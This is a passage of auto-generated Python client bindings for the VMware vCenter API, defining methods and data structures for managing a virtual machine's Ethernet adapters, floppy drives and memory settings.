When clients pass a value of this class as a parameter, the
attribute must be an identifier for the resource type:
``com.vmware.vcenter.vm.hardware.Ethernet``. When methods return a
value of this class as a return value, the attribute will be an
identifier for the resource type:
``com.vmware.vcenter.vm.hardware.Ethernet``.
"""
self.nic = nic
VapiStruct.__init__(self)
Summary._set_binding_type(type.StructType(
'com.vmware.vcenter.vm.hardware.ethernet.summary', {
'nic': type.IdType(resource_types='com.vmware.vcenter.vm.hardware.Ethernet'),
},
Summary,
False,
None))
def list(self,
vm,
):
"""
Returns commonly used information about the virtual Ethernet adapters
belonging to the virtual machine.
:type vm: :class:`str`
:param vm: Virtual machine identifier.
The parameter must be an identifier for the resource type:
``VirtualMachine``.
:rtype: :class:`list` of :class:`Ethernet.Summary`
:return: List of commonly used information about virtual Ethernet adapters.
:raise: :class:`com.vmware.vapi.std.errors_client.Error`
if the system reports an error while responding to the request.
:raise: :class:`com.vmware.vapi.std.errors_client.NotFound`
if the virtual machine is not found.
:raise: :class:`com.vmware.vapi.std.errors_client.ResourceInaccessible`
if the virtual machine's configuration state cannot be accessed.
:raise: :class:`com.vmware.vapi.std.errors_client.ServiceUnavailable`
if the system is unable to communicate with a service to complete
the request.
:raise: :class:`com.vmware.vapi.std.errors_client.Unauthenticated`
if the user can not be authenticated.
:raise: :class:`com.vmware.vapi.std.errors_client.Unauthorized`
if the user doesn't have the required privileges.
"""
return self._invoke('list',
{
'vm': vm,
})
def get(self,
vm,
nic,
):
"""
Returns information about a virtual Ethernet adapter.
:type vm: :class:`str`
:param vm: Virtual machine identifier.
The parameter must be an identifier for the resource type:
``VirtualMachine``.
:type nic: :class:`str`
:param nic: Virtual Ethernet adapter identifier.
The parameter must be an identifier for the resource type:
``com.vmware.vcenter.vm.hardware.Ethernet``.
:rtype: :class:`Ethernet.Info`
:return: Information about the specified virtual Ethernet adapter.
:raise: :class:`com.vmware.vapi.std.errors_client.Error`
if the system reports an error while responding to the request.
:raise: :class:`com.vmware.vapi.std.errors_client.NotFound`
if the virtual machine or virtual Ethernet adapter is not found.
:raise: :class:`com.vmware.vapi.std.errors_client.ResourceInaccessible`
if the virtual machine's configuration state cannot be accessed.
:raise: :class:`com.vmware.vapi.std.errors_client.ServiceUnavailable`
if the system is unable to communicate with a service to complete
the request.
:raise: :class:`com.vmware.vapi.std.errors_client.Unauthenticated`
if the user can not be authenticated.
:raise: :class:`com.vmware.vapi.std.errors_client.Unauthorized`
if the user doesn't have the required privileges.
"""
return self._invoke('get',
{
'vm': vm,
'nic': nic,
})
def create(self,
vm,
spec,
):
"""
Adds a virtual Ethernet adapter to the virtual machine.
:type vm: :class:`str`
:param vm: Virtual machine identifier.
The parameter must be an identifier for the resource type:
``VirtualMachine``.
:type spec: :class:`Ethernet.CreateSpec`
:param spec: Specification for the new virtual Ethernet adapter.
:rtype: :class:`str`
:return: Virtual Ethernet adapter identifier.
The return value will be an identifier for the resource type:
``com.vmware.vcenter.vm.hardware.Ethernet``.
:raise: :class:`com.vmware.vapi.std.errors_client.Error`
if the system reported that the Ethernet adapter was created but
was unable to confirm the creation because the identifier of the
new adapter could not be determined.
:raise: :class:`com.vmware.vapi.std.errors_client.Error`
if the system reports an error while responding to the request.
:raise: :class:`com.vmware.vapi.std.errors_client.NotFound`
if the virtual machine or network backing is not found.
:raise: :class:`com.vmware.vapi.std.errors_client.UnableToAllocateResource`
if the virtual machine already has the maximum number of supported
Ethernet adapters.
:raise: :class:`com.vmware.vapi.std.errors_client.InvalidArgument`
if the specified PCI address is out of bounds, HOST_DEVICE is
specified as the type, or a backing cannot be found in the case
that backing is left None.
:raise: :class:`com.vmware.vapi.std.errors_client.ResourceBusy`
if the virtual machine is busy performing another operation.
:raise: :class:`com.vmware.vapi.std.errors_client.ResourceInaccessible`
if the virtual machine's configuration state cannot be accessed.
:raise: :class:`com.vmware.vapi.std.errors_client.ServiceUnavailable`
if the system is unable to communicate with a service to complete
the request.
:raise: :class:`com.vmware.vapi.std.errors_client.Unauthenticated`
if the user can not be authenticated.
:raise: :class:`com.vmware.vapi.std.errors_client.Unauthorized`
if the user doesn't have the required privileges.
:raise: :class:`com.vmware.vapi.std.errors_client.Unsupported`
if the guest operating system of the virtual machine is not
supported and spec includes None attributes that default to
guest-specific values.
"""
return self._invoke('create',
{
'vm': vm,
'spec': spec,
})
def update(self,
vm,
nic,
spec,
):
"""
Updates the configuration of a virtual Ethernet adapter.
:type vm: :class:`str`
:param vm: Virtual machine identifier.
The parameter must be an identifier for the resource type:
``VirtualMachine``.
:type nic: :class:`str`
:param nic: Virtual Ethernet adapter identifier.
The parameter must be an identifier for the resource type:
``com.vmware.vcenter.vm.hardware.Ethernet``.
:type spec: :class:`Ethernet.UpdateSpec`
:param spec: Specification for updating the virtual Ethernet adapter.
:raise: :class:`com.vmware.vapi.std.errors_client.Error`
if the system reports an error while responding to the request.
:raise: :class:`com.vmware.vapi.std.errors_client.InvalidArgument`
if HOST_DEVICE is specified as the type.
:raise: :class:`com.vmware.vapi.std.errors_client.NotFound`
if the virtual machine, virtual Ethernet adapter, or backing
network is not found.
:raise: :class:`com.vmware.vapi.std.errors_client.ResourceBusy`
if the virtual machine is busy performing another operation.
:raise: :class:`com.vmware.vapi.std.errors_client.ResourceInaccessible`
if the virtual machine's configuration state cannot be accessed.
:raise: :class:`com.vmware.vapi.std.errors_client.ServiceUnavailable`
if the system is unable to communicate with a service to complete
the request.
:raise: :class:`com.vmware.vapi.std.errors_client.Unauthenticated`
if the user can not be authenticated.
:raise: :class:`com.vmware.vapi.std.errors_client.Unauthorized`
if the user doesn't have the required privileges.
"""
return self._invoke('update',
{
'vm': vm,
'nic': nic,
'spec': spec,
})
def delete(self,
vm,
nic,
):
"""
Removes a virtual Ethernet adapter from the virtual machine.
:type vm: :class:`str`
:param vm: Virtual machine identifier.
The parameter must be an identifier for the resource type:
``VirtualMachine``.
:type nic: :class:`str`
:param nic: Virtual Ethernet adapter identifier.
The parameter must be an identifier for the resource type:
``com.vmware.vcenter.vm.hardware.Ethernet``.
:raise: :class:`com.vmware.vapi.std.errors_client.Error`
if the system reports an error while responding to the request.
:raise: :class:`com.vmware.vapi.std.errors_client.NotFound`
if the virtual machine or virtual Ethernet adapter is not found.
:raise: :class:`com.vmware.vapi.std.errors_client.ResourceBusy`
if the virtual machine is busy performing another operation.
:raise: :class:`com.vmware.vapi.std.errors_client.ResourceInaccessible`
if the virtual machine's configuration state cannot be accessed.
:raise: :class:`com.vmware.vapi.std.errors_client.ServiceUnavailable`
if the system is unable to communicate with a service to complete
the request.
:raise: :class:`com.vmware.vapi.std.errors_client.Unauthenticated`
if the user can not be authenticated.
:raise: :class:`com.vmware.vapi.std.errors_client.Unauthorized`
if the user doesn't have the required privileges.
"""
return self._invoke('delete',
{
'vm': vm,
'nic': nic,
})
def connect(self,
vm,
nic,
):
"""
Connects a virtual Ethernet adapter of a powered-on virtual machine to
its backing. Connecting the virtual device makes the backing accessible
from the perspective of the guest operating system.
For a powered-off virtual machine, the :func:`Ethernet.update` method
may be used to configure the virtual Ethernet adapter to start in the
connected state when the virtual machine is powered on.
:type vm: :class:`str`
:param vm: Virtual machine identifier.
The parameter must be an identifier for the resource type:
``VirtualMachine``.
:type nic: :class:`str`
:param nic: Virtual Ethernet adapter identifier.
The parameter must be an identifier for the resource type:
``com.vmware.vcenter.vm.hardware.Ethernet``.
:raise: :class:`com.vmware.vapi.std.errors_client.Error`
if the system reports an error while responding to the request.
:raise: :class:`com.vmware.vapi.std.errors_client.NotFound`
if the virtual machine or virtual Ethernet adapter is not found.
:raise: :class:`com.vmware.vapi.std.errors_client.AlreadyInDesiredState`
if the virtual Ethernet adapter is already connected.
:raise: :class:`com.vmware.vapi.std.errors_client.NotAllowedInCurrentState`
if the virtual machine is not powered on.
:raise: :class:`com.vmware.vapi.std.errors_client.ResourceBusy`
if the virtual machine is busy performing another operation.
:raise: :class:`com.vmware.vapi.std.errors_client.ResourceInaccessible`
if the virtual machine's configuration state cannot be accessed.
:raise: :class:`com.vmware.vapi.std.errors_client.ServiceUnavailable`
if the system is unable to communicate with a service to complete
the request.
:raise: :class:`com.vmware.vapi.std.errors_client.Unauthenticated`
if the user can not be authenticated.
:raise: :class:`com.vmware.vapi.std.errors_client.Unauthorized`
if the user doesn't have the required privileges.
"""
return self._invoke('connect',
{
'vm': vm,
'nic': nic,
})
def disconnect(self,
vm,
nic,
):
"""
Disconnects a virtual Ethernet adapter of a powered-on virtual machine
from its backing. The virtual device is still present and its backing
configuration is unchanged, but from the perspective of the guest
operating system, the Ethernet adapter is not connected to its backing
resource.
For a powered-off virtual machine, the :func:`Ethernet.update` method
may be used to configure the virtual Ethernet adapter to start in the
disconnected state when the virtual machine is powered on.
:type vm: :class:`str`
:param vm: Virtual machine identifier.
The parameter must be an identifier for the resource type:
``VirtualMachine``.
:type nic: :class:`str`
:param nic: Virtual Ethernet adapter identifier.
The parameter must be an identifier for the resource type:
``com.vmware.vcenter.vm.hardware.Ethernet``.
:raise: :class:`com.vmware.vapi.std.errors_client.Error`
if the system reports an error while responding to the request.
:raise: :class:`com.vmware.vapi.std.errors_client.NotFound`
if the virtual machine or virtual Ethernet adapter is not found.
:raise: :class:`com.vmware.vapi.std.errors_client.AlreadyInDesiredState`
if the virtual Ethernet adapter is already disconnected.
:raise: :class:`com.vmware.vapi.std.errors_client.NotAllowedInCurrentState`
if the virtual machine is not powered on.
:raise: :class:`com.vmware.vapi.std.errors_client.ResourceBusy`
if the virtual machine is busy performing another operation.
:raise: :class:`com.vmware.vapi.std.errors_client.ResourceInaccessible`
if the virtual machine's configuration state cannot be accessed.
:raise: :class:`com.vmware.vapi.std.errors_client.ServiceUnavailable`
if the system is unable to communicate with a service to complete
the request.
:raise: :class:`com.vmware.vapi.std.errors_client.Unauthenticated`
if the user can not be authenticated.
:raise: :class:`com.vmware.vapi.std.errors_client.Unauthorized`
if the user doesn't have the required privileges.
"""
return self._invoke('disconnect',
{
'vm': vm,
'nic': nic,
})
class Floppy(VapiInterface):
"""
The ``Floppy`` class provides methods for configuring the virtual floppy
drives of a virtual machine.
"""
RESOURCE_TYPE = "com.vmware.vcenter.vm.hardware.Floppy"
"""
Resource type for the virtual floppy drive device.
"""
_VAPI_SERVICE_ID = 'com.vmware.vcenter.vm.hardware.floppy'
"""
Identifier of the service in canonical form.
"""
def __init__(self, config):
"""
:type config: :class:`vmware.vapi.bindings.stub.StubConfiguration`
:param config: Configuration to be used for creating the stub.
"""
VapiInterface.__init__(self, config, _FloppyStub)
self._VAPI_OPERATION_IDS = {}
class BackingType(Enum):
"""
The ``Floppy.BackingType`` class defines the valid backing types for a
virtual floppy drive.
.. note::
This class represents an enumerated type in the interface language
definition. The class contains class attributes which represent the
values in the current version of the enumerated type. Newer versions of
the enumerated type may contain new values. To use new values of the
enumerated type in communication with a server that supports the newer
version of the API, you instantiate this class. See :ref:`enumerated
type description page <enumeration_description>`.
"""
IMAGE_FILE = None
"""
Virtual floppy drive is backed by an image file.
"""
HOST_DEVICE = None
"""
Virtual floppy drive is backed by a device on the host where the virtual
machine is running.
"""
CLIENT_DEVICE = None
"""
Virtual floppy drive is backed by a device on the client that is connected
to the virtual machine console.
"""
def __init__(self, string):
"""
:type string: :class:`str`
:param string: String value for the :class:`BackingType` instance.
"""
Enum.__init__(string)
BackingType._set_values([
BackingType('IMAGE_FILE'),
BackingType('HOST_DEVICE'),
BackingType('CLIENT_DEVICE'),
])
BackingType._set_binding_type(type.EnumType(
'com.vmware.vcenter.vm.hardware.floppy.backing_type',
BackingType))
class BackingInfo(VapiStruct):
"""
The ``Floppy.BackingInfo`` class contains information about the physical
resource backing a virtual floppy drive.
.. tip::
The arguments are used to initialize data attributes with the same
names.
"""
_validator_list = [
UnionValidator(
'type',
{
'IMAGE_FILE' : [('image_file', True)],
'HOST_DEVICE' : [('host_device', False), ('auto_detect', True)],
'CLIENT_DEVICE' : [],
}
),
]
def __init__(self,
type=None,
image_file=None,
host_device=None,
auto_detect=None,
):
"""
:type type: :class:`Floppy.BackingType`
:param type: Backing type for the virtual floppy drive.
:type image_file: :class:`str`
:param image_file: Path of the image file backing the virtual floppy drive.
This attribute is optional and it is only relevant when the value
of ``type`` is :attr:`Floppy.BackingType.IMAGE_FILE`.
:type host_device: :class:`str` or ``None``
:param host_device: Name of the host device backing the virtual floppy drive.
This attribute will be None if ``autoDetect`` is true and the
virtual floppy drive is not connected or no suitable device is
available on the host.
:type auto_detect: :class:`bool`
:param auto_detect: Flag indicating whether the virtual floppy drive is configured to
automatically detect a suitable host device.
This attribute is optional and it is only relevant when the value
of ``type`` is :attr:`Floppy.BackingType.HOST_DEVICE`.
"""
self.type = type
self.image_file = image_file
self.host_device = host_device
self.auto_detect = auto_detect
VapiStruct.__init__(self)
BackingInfo._set_binding_type(type.StructType(
'com.vmware.vcenter.vm.hardware.floppy.backing_info', {
'type': type.ReferenceType(__name__, 'Floppy.BackingType'),
'image_file': type.OptionalType(type.StringType()),
'host_device': type.OptionalType(type.StringType()),
'auto_detect': type.OptionalType(type.BooleanType()),
},
BackingInfo,
False,
None))
class BackingSpec(VapiStruct):
"""
The ``Floppy.BackingSpec`` class provides a specification of the physical
resource backing a virtual floppy drive.
.. tip::
The arguments are used to initialize data attributes with the same
names.
"""
_validator_list = [
UnionValidator(
'type',
{
'IMAGE_FILE' : [('image_file', True)],
'HOST_DEVICE' : [('host_device', False)],
'CLIENT_DEVICE' : [],
}
),
]
def __init__(self,
type=None,
image_file=None,
host_device=None,
):
"""
:type type: :class:`Floppy.BackingType`
:param type: Backing type for the virtual floppy drive.
:type image_file: :class:`str`
:param image_file: Path of the image file that should be used as the virtual floppy
drive backing.
This attribute is optional and it is only relevant when the value
of ``type`` is :attr:`Floppy.BackingType.IMAGE_FILE`.
:type host_device: :class:`str` or ``None``
:param host_device: Name of the device that should be used as the virtual floppy drive
backing.
If None, the virtual floppy drive will be configured to
automatically detect a suitable host device.
"""
self.type = type
self.image_file = image_file
self.host_device = host_device
VapiStruct.__init__(self)
BackingSpec._set_binding_type(type.StructType(
'com.vmware.vcenter.vm.hardware.floppy.backing_spec', {
'type': type.ReferenceType(__name__, 'Floppy.BackingType'),
'image_file': type.OptionalType(type.StringType()),
'host_device': type.OptionalType(type.StringType()),
},
BackingSpec,
False,
None))
class Info(VapiStruct):
"""
The ``Floppy.Info`` class contains information about a virtual floppy
drive.
.. tip::
The arguments are used to initialize data attributes with the same
names.
"""
def __init__(self,
label=None,
backing=None,
state=None,
start_connected=None,
allow_guest_control=None,
):
"""
:type label: :class:`str`
:param label: Device label.
:type backing: :class:`Floppy.BackingInfo`
:param backing: Physical resource backing for the virtual floppy drive.
:type state: :class:`ConnectionState`
:param state: Connection status of the virtual device.
:type start_connected: :class:`bool`
:param start_connected: Flag indicating whether the virtual device should be connected
whenever the virtual machine is powered on.
:type allow_guest_control: :class:`bool`
:param allow_guest_control: Flag indicating whether the guest can connect and disconnect the
device.
"""
self.label = label
self.backing = backing
self.state = state
self.start_connected = start_connected
self.allow_guest_control = allow_guest_control
VapiStruct.__init__(self)
Info._set_binding_type(type.StructType(
'com.vmware.vcenter.vm.hardware.floppy.info', {
'label': type.StringType(),
'backing': type.ReferenceType(__name__, 'Floppy.BackingInfo'),
'state': type.ReferenceType(__name__, 'ConnectionState'),
'start_connected': type.BooleanType(),
'allow_guest_control': type.BooleanType(),
},
Info,
False,
None))
class CreateSpec(VapiStruct):
"""
The ``Floppy.CreateSpec`` class provides a specification for the
configuration of a newly-created virtual floppy drive.
.. tip::
The arguments are used to initialize data attributes with the same
names.
"""
def __init__(self,
backing=None,
start_connected=None,
allow_guest_control=None,
):
"""
:type backing: :class:`Floppy.BackingSpec` or ``None``
:param backing: Physical resource backing for the virtual floppy drive.
If None, defaults to automatic detection of a suitable host device.
:type start_connected: :class:`bool` or ``None``
:param start_connected: Flag indicating whether the virtual device should be connected
whenever the virtual machine is powered on.
Defaults to false if None.
:type allow_guest_control: :class:`bool` or ``None``
:param allow_guest_control: Flag indicating whether the guest can connect and disconnect the
device.
Defaults to false if None.
"""
self.backing = backing
self.start_connected = start_connected
self.allow_guest_control = allow_guest_control
VapiStruct.__init__(self)
CreateSpec._set_binding_type(type.StructType(
'com.vmware.vcenter.vm.hardware.floppy.create_spec', {
'backing': type.OptionalType(type.ReferenceType(__name__, 'Floppy.BackingSpec')),
'start_connected': type.OptionalType(type.BooleanType()),
'allow_guest_control': type.OptionalType(type.BooleanType()),
},
CreateSpec,
False,
None))
class UpdateSpec(VapiStruct):
"""
The ``Floppy.UpdateSpec`` class describes the updates to be made to the
configuration of a virtual floppy drive.
.. tip::
The arguments are used to initialize data attributes with the same
names.
"""
def __init__(self,
backing=None,
start_connected=None,
allow_guest_control=None,
):
"""
:type backing: :class:`Floppy.BackingSpec` or ``None``
:param backing: Physical resource backing for the virtual floppy drive.
This attribute may only be modified if the virtual machine is not
powered on or the virtual floppy drive is not connected.
If None, the value is unchanged.
:type start_connected: :class:`bool` or ``None``
:param start_connected: Flag indicating whether the virtual device should be connected
whenever the virtual machine is powered on.
If None, the value is unchanged.
:type allow_guest_control: :class:`bool` or ``None``
:param allow_guest_control: Flag indicating whether the guest can connect and disconnect the
device.
If None, the value is unchanged.
"""
self.backing = backing
self.start_connected = start_connected
self.allow_guest_control = allow_guest_control
VapiStruct.__init__(self)
UpdateSpec._set_binding_type(type.StructType(
'com.vmware.vcenter.vm.hardware.floppy.update_spec', {
'backing': type.OptionalType(type.ReferenceType(__name__, 'Floppy.BackingSpec')),
'start_connected': type.OptionalType(type.BooleanType()),
'allow_guest_control': type.OptionalType(type.BooleanType()),
},
UpdateSpec,
False,
None))
class Summary(VapiStruct):
"""
The ``Floppy.Summary`` class contains commonly used information about a
virtual floppy drive.
.. tip::
The arguments are used to initialize data attributes with the same
names.
"""
def __init__(self,
floppy=None,
):
"""
:type floppy: :class:`str`
:param floppy: Identifier of the virtual floppy drive.
When clients pass a value of this class as a parameter, the
attribute must be an identifier for the resource type:
``com.vmware.vcenter.vm.hardware.Floppy``. When methods return a
value of this class as a return value, the attribute will be an
identifier for the resource type:
``com.vmware.vcenter.vm.hardware.Floppy``.
"""
self.floppy = floppy
VapiStruct.__init__(self)
Summary._set_binding_type(type.StructType(
'com.vmware.vcenter.vm.hardware.floppy.summary', {
'floppy': type.IdType(resource_types='com.vmware.vcenter.vm.hardware.Floppy'),
},
Summary,
False,
None))
def list(self,
vm,
):
"""
Returns commonly used information about the virtual floppy drives
belonging to the virtual machine.
:type vm: :class:`str`
:param vm: Virtual machine identifier.
The parameter must be an identifier for the resource type:
``VirtualMachine``.
:rtype: :class:`list` of :class:`Floppy.Summary`
:return: List of commonly used information about virtual floppy drives.
:raise: :class:`com.vmware.vapi.std.errors_client.Error`
if the system reports an error while responding to the request.
:raise: :class:`com.vmware.vapi.std.errors_client.NotFound`
if the virtual machine is not found.
:raise: :class:`com.vmware.vapi.std.errors_client.ResourceInaccessible`
if the virtual machine's configuration state cannot be accessed.
:raise: :class:`com.vmware.vapi.std.errors_client.ServiceUnavailable`
if the system is unable to communicate with a service to complete
the request.
:raise: :class:`com.vmware.vapi.std.errors_client.Unauthenticated`
if the user can not be authenticated.
:raise: :class:`com.vmware.vapi.std.errors_client.Unauthorized`
if the user doesn't have the required privileges.
"""
return self._invoke('list',
{
'vm': vm,
})
def get(self,
vm,
floppy,
):
"""
Returns information about a virtual floppy drive.
:type vm: :class:`str`
:param vm: Virtual machine identifier.
The parameter must be an identifier for the resource type:
``VirtualMachine``.
:type floppy: :class:`str`
:param floppy: Virtual floppy drive identifier.
The parameter must be an identifier for the resource type:
``com.vmware.vcenter.vm.hardware.Floppy``.
:rtype: :class:`Floppy.Info`
:return: Information about the specified virtual floppy drive.
:raise: :class:`com.vmware.vapi.std.errors_client.Error`
if the system reports an error while responding to the request.
:raise: :class:`com.vmware.vapi.std.errors_client.NotFound`
if the virtual machine or virtual floppy drive is not found.
:raise: :class:`com.vmware.vapi.std.errors_client.ResourceInaccessible`
if the virtual machine's configuration state cannot be accessed.
:raise: :class:`com.vmware.vapi.std.errors_client.ServiceUnavailable`
if the system is unable to communicate with a service to complete
the request.
:raise: :class:`com.vmware.vapi.std.errors_client.Unauthenticated`
if the user can not be authenticated.
:raise: :class:`com.vmware.vapi.std.errors_client.Unauthorized`
if the user doesn't have the required privileges.
"""
return self._invoke('get',
{
'vm': vm,
'floppy': floppy,
})
def create(self,
vm,
spec,
):
"""
Adds a virtual floppy drive to the virtual machine.
:type vm: :class:`str`
:param vm: Virtual machine identifier.
The parameter must be an identifier for the resource type:
``VirtualMachine``.
:type spec: :class:`Floppy.CreateSpec`
:param spec: Specification for the new virtual floppy drive.
:rtype: :class:`str`
:return: Virtual floppy drive identifier.
The return value will be an identifier for the resource type:
``com.vmware.vcenter.vm.hardware.Floppy``.
:raise: :class:`com.vmware.vapi.std.errors_client.Error`
if the system reported that the floppy device was created but was
unable to confirm the creation because the identifier of the new
device could not be determined.
:raise: :class:`com.vmware.vapi.std.errors_client.Error`
if the system reports an error while responding to the request.
:raise: :class:`com.vmware.vapi.std.errors_client.NotFound`
if the virtual machine is not found.
:raise: :class:`com.vmware.vapi.std.errors_client.NotAllowedInCurrentState`
if the virtual machine is not powered off.
:raise: :class:`com.vmware.vapi.std.errors_client.UnableToAllocateResource`
if the virtual machine already has the maximum number of supported
floppy drives.
:raise: :class:`com.vmware.vapi.std.errors_client.ResourceBusy`
if the virtual machine is busy performing another operation.
:raise: :class:`com.vmware.vapi.std.errors_client.ResourceInaccessible`
if the virtual machine's configuration state cannot be accessed.
:raise: :class:`com.vmware.vapi.std.errors_client.ServiceUnavailable`
if the system is unable to communicate with a service to complete
the request.
:raise: :class:`com.vmware.vapi.std.errors_client.Unauthenticated`
if the user can not be authenticated.
:raise: :class:`com.vmware.vapi.std.errors_client.Unauthorized`
if the user doesn't have the required privileges.
"""
return self._invoke('create',
{
'vm': vm,
'spec': spec,
})
def update(self,
vm,
floppy,
spec,
):
"""
Updates the configuration of a virtual floppy drive.
:type vm: :class:`str`
:param vm: Virtual machine identifier.
The parameter must be an identifier for the resource type:
``VirtualMachine``.
:type floppy: :class:`str`
:param floppy: Virtual floppy drive identifier.
The parameter must be an identifier for the resource type:
``com.vmware.vcenter.vm.hardware.Floppy``.
:type spec: :class:`Floppy.UpdateSpec`
:param spec: Specification for updating the virtual floppy drive.
:raise: :class:`com.vmware.vapi.std.errors_client.Error`
if the system reports an error while responding to the request.
:raise: :class:`com.vmware.vapi.std.errors_client.NotFound`
if the virtual machine or virtual floppy drive is not found.
:raise: :class:`com.vmware.vapi.std.errors_client.NotAllowedInCurrentState`
if one or more of the attributes specified in the ``spec``
parameter cannot be modified due to the current power state of the
virtual machine or the connection state of the virtual floppy
drive.
:raise: :class:`com.vmware.vapi.std.errors_client.ResourceBusy`
if the virtual machine is busy performing another operation.
:raise: :class:`com.vmware.vapi.std.errors_client.ResourceInaccessible`
if the virtual machine's configuration state cannot be accessed.
:raise: :class:`com.vmware.vapi.std.errors_client.ServiceUnavailable`
if the system is unable to communicate with a service to complete
the request.
:raise: :class:`com.vmware.vapi.std.errors_client.Unauthenticated`
if the user can not be authenticated.
:raise: :class:`com.vmware.vapi.std.errors_client.Unauthorized`
if the user doesn't have the required privileges.
"""
return self._invoke('update',
{
'vm': vm,
'floppy': floppy,
'spec': spec,
})
def delete(self,
vm,
floppy,
):
"""
Removes a virtual floppy drive from the virtual machine.
:type vm: :class:`str`
:param vm: Virtual machine identifier.
The parameter must be an identifier for the resource type:
``VirtualMachine``.
:type floppy: :class:`str`
:param floppy: Virtual floppy drive identifier.
The parameter must be an identifier for the resource type:
``com.vmware.vcenter.vm.hardware.Floppy``.
:raise: :class:`com.vmware.vapi.std.errors_client.Error`
if the system reports an error while responding to the request.
:raise: :class:`com.vmware.vapi.std.errors_client.NotFound`
if the virtual machine or virtual floppy drive is not found.
:raise: :class:`com.vmware.vapi.std.errors_client.NotAllowedInCurrentState`
if the virtual machine is not powered off.
:raise: :class:`com.vmware.vapi.std.errors_client.ResourceBusy`
if the virtual machine is busy performing another operation.
:raise: :class:`com.vmware.vapi.std.errors_client.ResourceInaccessible`
if the virtual machine's configuration state cannot be accessed.
:raise: :class:`com.vmware.vapi.std.errors_client.ServiceUnavailable`
if the system is unable to communicate with a service to complete
the request.
:raise: :class:`com.vmware.vapi.std.errors_client.Unauthenticated`
if the user can not be authenticated.
:raise: :class:`com.vmware.vapi.std.errors_client.Unauthorized`
if the user doesn't have the required privileges.
"""
return self._invoke('delete',
{
'vm': vm,
'floppy': floppy,
})
def connect(self,
vm,
floppy,
):
"""
Connects a virtual floppy drive of a powered-on virtual machine to its
backing. Connecting the virtual device makes the backing accessible
from the perspective of the guest operating system.
For a powered-off virtual machine, the :func:`Floppy.update` method may
be used to configure the virtual floppy drive to start in the connected
state when the virtual machine is powered on.
:type vm: :class:`str`
:param vm: Virtual machine identifier.
The parameter must be an identifier for the resource type:
``VirtualMachine``.
:type floppy: :class:`str`
:param floppy: Virtual floppy drive identifier.
The parameter must be an identifier for the resource type:
``com.vmware.vcenter.vm.hardware.Floppy``.
:raise: :class:`com.vmware.vapi.std.errors_client.Error`
if the system reports an error while responding to the request.
:raise: :class:`com.vmware.vapi.std.errors_client.NotFound`
if the virtual machine or virtual floppy drive is not found.
:raise: :class:`com.vmware.vapi.std.errors_client.AlreadyInDesiredState`
if the virtual floppy drive is already connected.
:raise: :class:`com.vmware.vapi.std.errors_client.NotAllowedInCurrentState`
if the virtual machine is not powered on.
:raise: :class:`com.vmware.vapi.std.errors_client.ResourceBusy`
if the virtual machine is busy performing another operation.
:raise: :class:`com.vmware.vapi.std.errors_client.ResourceInaccessible`
if the virtual machine's configuration state cannot be accessed.
:raise: :class:`com.vmware.vapi.std.errors_client.ServiceUnavailable`
if the system is unable to communicate with a service to complete
the request.
:raise: :class:`com.vmware.vapi.std.errors_client.Unauthenticated`
if the user can not be authenticated.
:raise: :class:`com.vmware.vapi.std.errors_client.Unauthorized`
if the user doesn't have the required privileges.
"""
return self._invoke('connect',
{
'vm': vm,
'floppy': floppy,
})
def disconnect(self,
vm,
floppy,
):
"""
Disconnects a virtual floppy drive of a powered-on virtual machine from
its backing. The virtual device is still present and its backing
configuration is unchanged, but from the perspective of the guest
operating system, the floppy drive is not connected to its backing
resource.
For a powered-off virtual machine, the :func:`Floppy.update` method may
be used to configure the virtual floppy floppy to start in the
disconnected state when the virtual machine is powered on.
:type vm: :class:`str`
:param vm: Virtual machine identifier.
The parameter must be an identifier for the resource type:
``VirtualMachine``.
:type floppy: :class:`str`
:param floppy: Virtual floppy drive identifier.
The parameter must be an identifier for the resource type:
``com.vmware.vcenter.vm.hardware.Floppy``.
:raise: :class:`com.vmware.vapi.std.errors_client.Error`
if the system reports an error while responding to the request.
:raise: :class:`com.vmware.vapi.std.errors_client.NotFound`
if the virtual machine or virtual floppy drive is not found.
:raise: :class:`com.vmware.vapi.std.errors_client.AlreadyInDesiredState`
if the virtual floppy drive is already disconnected.
:raise: :class:`com.vmware.vapi.std.errors_client.NotAllowedInCurrentState`
if the virtual machine is not powered on.
:raise: :class:`com.vmware.vapi.std.errors_client.ResourceBusy`
if the virtual machine is busy performing another operation.
:raise: :class:`com.vmware.vapi.std.errors_client.ResourceInaccessible`
if the virtual machine's configuration state cannot be accessed.
:raise: :class:`com.vmware.vapi.std.errors_client.ServiceUnavailable`
if the system is unable to communicate with a service to complete
the request.
:raise: :class:`com.vmware.vapi.std.errors_client.Unauthenticated`
if the user can not be authenticated.
:raise: :class:`com.vmware.vapi.std.errors_client.Unauthorized`
if the user doesn't have the required privileges.
"""
return self._invoke('disconnect',
{
'vm': vm,
'floppy': floppy,
})
class Memory(VapiInterface):
"""
The ``Memory`` class provides methods for configuring the memory settings
of a virtual machine.
"""
_VAPI_SERVICE_ID = 'com.vmware.vcenter.vm.hardware.memory'
"""
Identifier of the service in canonical form.
"""
def __init__(self, config):
"""
:type config: :class:`vmware.vapi.bindings.stub.StubConfiguration`
:param config: Configuration to be used for creating the stub.
"""
VapiInterface.__init__(self, config, _MemoryStub)
self._VAPI_OPERATION_IDS = {}
class Info(VapiStruct):
"""
The ``Memory.Info`` class contains memory-related information about a
virtual machine.
.. tip::
The arguments are used to initialize data attributes with the same
names.
"""
_canonical_to_pep_names = {
'size_MiB': 'size_mib',
'hot_add_increment_size_MiB': 'hot_add_increment_size_mib',
'hot_add_limit_MiB': 'hot_add_limit_mib',
}
def __init__(self,
size_mib=None,
hot_add_enabled=None,
hot_add_increment_size_mib=None,
hot_add_limit_mib=None,
):
"""
:type size_mib: :class:`long`
:param size_mib: Memory size in mebibytes.
:type hot_add_enabled: :class:`bool`
:param hot_add_enabled: Flag indicating whether adding memory while the virtual machine is
running is enabled.
Some guest operating systems may consume more resources or perform
less efficiently when they run on hardware that supports adding
memory while the machine is running.
:type hot_add_increment_size_mib: :class:`long` or ``None``
:param hot_add_increment_size_mib: The granularity, in mebibytes, at which memory can be added to a
running virtual machine.
When adding memory to a running virtual machine, the amount of
memory added must be at least
:attr:`Memory.Info.hot_add_increment_size_mib` and the total memory
size of the virtual machine must be a multiple of
{\\\\@link>hotAddIncrementSize}.
Only set when :attr:`Memory.Info.hot_add_enabled` is true and the
virtual machine is running.
:type hot_add_limit_mib: :class:`long` or ``None``
:param hot_add_limit_mib: The maximum amount of memory, in mebibytes, that can be added to a
running virtual machine.
Only set when :attr:`Memory.Info.hot_add_enabled` is true and the
virtual machine is running.
"""
self.size_mib = size_mib
self.hot_add_enabled = hot_add_enabled
self.hot_add_increment_size_mib = hot_add_increment_size_mib
self.hot_add_limit_mib = hot_add_limit_mib
